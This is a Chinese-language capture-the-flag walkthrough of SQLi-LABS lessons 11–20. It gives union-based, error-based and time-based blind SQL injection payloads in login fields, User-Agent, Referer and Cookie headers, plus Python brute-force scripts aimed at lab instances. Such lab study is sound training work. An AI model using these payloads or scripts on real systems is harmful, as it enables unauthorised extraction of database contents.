SQLi-LABS(11~20关详解)
SQLi-LABS Less-11
查看題目環境
首先可以看到這題傳入正確的賬號密碼,會有數據回顯
測試注入點
嘗試post
uname=admin'通過報錯語句可以發現用單引號即可閉合
post
頁面正常顯示數據
post
頁面無數據顯示
由此可以判斷出:此處具有uname處存在Sql注入漏洞
SQL注入
因為前面測得具有回顯,所以采取union聯合查詢
流程為
查找列數
uname=admin' order by 2 #“#” 用于注釋掉sql語句后面的內容,最終查出返回的列數為2列(列數一個一個試,最大的一個數,且不報Unknown column ‘*’ in ‘order clause’)
查詢數據庫
uname=-1' union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)#這邊id傳入一個數據庫中沒有的值即可,因為如果是數據庫中存在的值,即會返回多條記錄,會顯示前一個找到的值,而我們想要的將無法顯示。
同時我們使用GROUP_CONCAT將查詢到的數據庫名拼接顯示
查詢數據庫中的表
uname=-1' union select 1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" )#查表中的字段
uname=-1' union select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')#查數據
uname=-1' union select 1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)#SQLi-LABS Less-12
查看題目環境
首先可以看到這題傳入正確的賬號密碼,會有數據回顯
測試注入點
嘗試post
uname=admin"通過報錯語句可以發現他服務器端的sql語句是用")閉合的
post
頁面正常顯示數據
post
頁面無數據顯示
由此可以判斷出:此處具有uname處存在Sql注入漏洞
SQL注入
因為前面測得具有回顯,所以采取union聯合查詢
流程為
查找列數
uname=admin") order by 2 #“#” 用于注釋掉sql語句后面的內容,最終查出返回的列數為2列(列數一個一個試,最大的一個數,且不報Unknown column ‘*’ in ‘order clause’)
查詢數據庫
uname=-1") union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)#這邊id傳入一個數據庫中沒有的值即可,因為如果是數據庫中存在的值,即會返回多條記錄,會顯示前一個找到的值,而我們想要的將無法顯示。
同時我們使用GROUP_CONCAT將查詢到的數據庫名拼接顯示
查詢數據庫中的表
uname=-1") union select 1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" )#查表中的字段
uname=-1") union select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')#查數據
uname=-1") union select 1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)#SQLi-LABS Less-13
查看題目環境
首先可以看到這題傳入賬號密碼,并不會有回顯的數據,所以這題不能用聯合查詢
測試注入點
嘗試post
uname=admin'通過報錯語句可以發現他服務器端的sql語句是用‘)閉合的
同時因為不存在回顯的數據,所以可以嘗試報錯注入
post
頁面正常顯示數據
post
uname=admin") and ‘1’=‘2’ #
頁面無數據顯示
由此可以判斷出:此處具有uname處存在Sql注入漏洞
SQL注入
因為前面測得沒有回顯,但又報錯信息,所以使用報錯注入
流程為
查詢數據庫
uname=admin') and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #通過報錯注入,因為所有數據庫拼接的長度大于了64個字符,所以使用limit 一個一個數據庫查
查詢數據庫中的表
uname=admin') and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #查表中的字段
uname=admin') and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #查數據
uname=admin') and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #SQLi-LABS Less-14
查看題目環境
首先可以看到這題傳入賬號密碼或者嘗試引號閉合,并不會有回顯的數據,也不有報錯信息,所以這題不能用聯合查詢和報錯注入
測試注入點
嘗試使用盲注測試腳本
import requests import time ss = time.time() url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-14/" data={'uname':"admin\" and sleep(5) #",'passwd':'admin' } t=requests.post(url,data)if time.time()-ss>=4:print("is Time")由此可以判斷出:此處具有uname處存在Sql盲注漏洞
SQL注入
使用腳本的sleep函數時間自行控制,因為不同服務器的響應時間不同,sleep時間越久,越準確。因為若sleep時間短了,有可能因為本身服務器響應較慢導致爆破出來的值錯誤
時間盲注腳本
import requests import time flag = '' table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}" url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-14/" while True:for i in table:ss = time.time()data_database = {'uname':'''admin\" and ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_table = {'uname':'''admin\" and ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_column = {'uname':'''admin\" and ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_flag = {'uname':'''admin\" and ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}#t=requests.post(url,data_database)#t=requests.post(url,data_table)#t=requests.post(url,data_column)t=requests.post(url,data_flag)if time.time()-ss>=4:flag += iprint (flag) breakSQLi-LABS Less-15
查看題目環境
首先可以看到這題傳入賬號密碼或者嘗試引號閉合,并不會有回顯的數據,也不有報錯信息,所以這題不能用聯合查詢和報錯注入
測試注入點
嘗試使用盲注測試腳本,主要 為了測試如何去閉合前面內容,來構造出正確的sql語句
import requests import time ss = time.time() url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-15/" data={'uname':"admin' and sleep(5) #",'passwd':'admin' } t=requests.post(url,data) if time.time()-ss>=4:print("is Time")由此可以判斷出:此處具有uname處存在Sql盲注漏洞
SQL注入
使用腳本的sleep函數時間自行控制,因為不同服務器的響應時間不同,sleep時間越久,越準確。因為若sleep時間短了,有可能因為本身服務器響應較慢導致爆破出來的值錯誤
時間盲注腳本
import requests import time flag = '' table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}" url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-15/" while True:for i in table:ss = time.time()data_database = {'uname':'''admin' and ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_table = {'uname':'''admin' and ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_column = {'uname':'''admin' and ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_flag = {'uname':'''admin' and ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}#t=requests.post(url,data_database)#t=requests.post(url,data_table)#t=requests.post(url,data_column)t=requests.post(url,data_flag)if time.time()-ss>=4:flag += iprint (flag)breakSQLi-LABS Less-16
查看題目環境
首先可以看到這題傳入賬號密碼或者嘗試引號閉合,并不會有回顯的數據,也不有報錯信息,所以這題不能用聯合查詢和報錯注入
測試注入點
嘗試使用盲注測試腳本,主要 為了測試如何去閉合前面內容,來構造出正確的sql語句
import requests import timess = time.time() url="http://83152ef4-5545-4380-bb72-f2aabfa6e179.node1.buuoj.cn/Less-16/" data={'uname':"admin\") and sleep(5) #",'passwd':'admin' } t=requests.post(url,data) if time.time()-ss>=4:print("is Time")由此可以判斷出:此處具有uname處存在Sql盲注漏洞
SQL注入
使用腳本的sleep函數時間自行控制,因為不同服務器的響應時間不同,sleep時間越久,越準確。因為若sleep時間短了,有可能因為本身服務器響應較慢導致爆破出來的值錯誤
如果數據庫中的內容不在table內,可以直接使用ascii表來作為table,設置常見table是為了腳本跑的更快
時間盲注腳本
import requests import time flag = '' table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}" url="http://83152ef4-5545-4380-bb72-f2aabfa6e179.node1.buuoj.cn/Less-16/" while True:for i in table:ss = time.time()data_database = {'uname':'''admin") and ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_table = {'uname':'''admin") and ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_column = {'uname':'''admin") and ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}data_flag = {'uname':'''admin") and ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),'passwd':'admin'}#t=requests.post(url,data_database)#t=requests.post(url,data_table)#t=requests.post(url,data_column)t=requests.post(url,data_flag)if time.time()-ss>=4:flag += iprint (flag)breakSQLi-LABS Less-17
查看題目環境
首先可以看到這題傳入賬號和想要重置的密碼,當傳入合法的輸入時,會提示你密碼修改成功
測試注入點
嘗試post
uname=admin&passwd=admin'通過報錯語句可以發現他服務器端的sql語句
由此可以判斷出,在passwd處存在報錯注入,且可用單引號閉合
SQL注入
查詢數據庫
uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #通過報錯注入,因為所有數據庫拼接的長度大于了64個字符,所以使用limit 逐個查詢
查詢數據庫中的表
uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #查表中的字段
uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #查數據
uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) #SQLi-LABS Less-18
查看題目環境
登陸給我回顯的數據是我的User Agent。
嘗試bp抓包
可以看到我們發送請求的時候將我們的User-Agent傳入到了服務器端,然后記錄到了數據庫里面。
測試注入點
嘗試控制User-Agent
User-Agent=1 User-Agent=1'通過報錯語句可以發現他可以使用單引號閉合,又因為沒有具體數據的回顯
由此可以判斷出,存在報錯注入
SQL注入
查詢數據庫
User-Agent=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1通過報錯注入,因為所有數據庫拼接的長度大于了64個字符,所以使用limit 逐個查詢
查詢數據庫中的表
User-Agent=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1查表中的字段
User-Agent=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1查數據
User-Agent=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1SQLi-LABS Less-19
查看題目環境
登陸給我回顯的數據是我的Referer。
可以想到我們發送請求的時候將我們的Referert傳入到了服務器端,然后記錄到了數據庫里面。
測試注入點
嘗試控制Referer
Referer=1 Referer=1'通過報錯語句可以發現他可以使用單引號閉合,又因為沒有具體數據的回顯
由此可以判斷出,存在報錯注入
SQL注入
查詢數據庫
Referer=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1通過報錯注入,因為所有數據庫拼接的長度大于了64個字符,所以使用limit 逐個查詢
查詢數據庫中的表
Referer=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1查表中的字段
Referer=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1查數據
Referer=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1SQLi-LABS Less-20
查看題目環境
登陸給我回顯的數據是I LOVE YOU COOKIES。
嘗試bp抓包
猜測應該是將我們的cookie傳入到了服務器端,然后記錄到了數據庫里面。
測試注入點
嘗試Cookie= uname=admin發現有回顯數據
嘗試
報錯信息如下
通過報錯語句可以發現他服務器端的sql語句是用單引號閉合的
因為有詳細數據回顯,所以判斷可以使用Union聯合查詢
SQL注入
因為前面測得具有回顯,所以采取union聯合查詢
流程為
查找列數
Cookie: uname=admin' order by 3 #–+用于注釋掉sql語句后面的內容,最終查出返回的列數為3列(列數一個一個試,最大的一個數,且不報Unknown column ‘*’ in ‘order clause’)
查詢數據庫
Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) #這邊uname傳入一個數據庫中沒有的值即可,因為如果是數據庫中存在的值,即會返回多條記錄,會顯示前一個找到的值,而我們想要的將無法顯示。
同時我們使用GROUP_CONCAT將查詢到的數據庫名拼接顯示
查詢數據庫中的表
Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" ) #查表中的字段
Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag') #查數據
Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag) #總結
以上是生活随笔為你收集整理的SQLi-LABS(11~20关详解)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SQLi-LABS(1~10关详解)
- 下一篇: SQLi-LABS(21~25a关详解)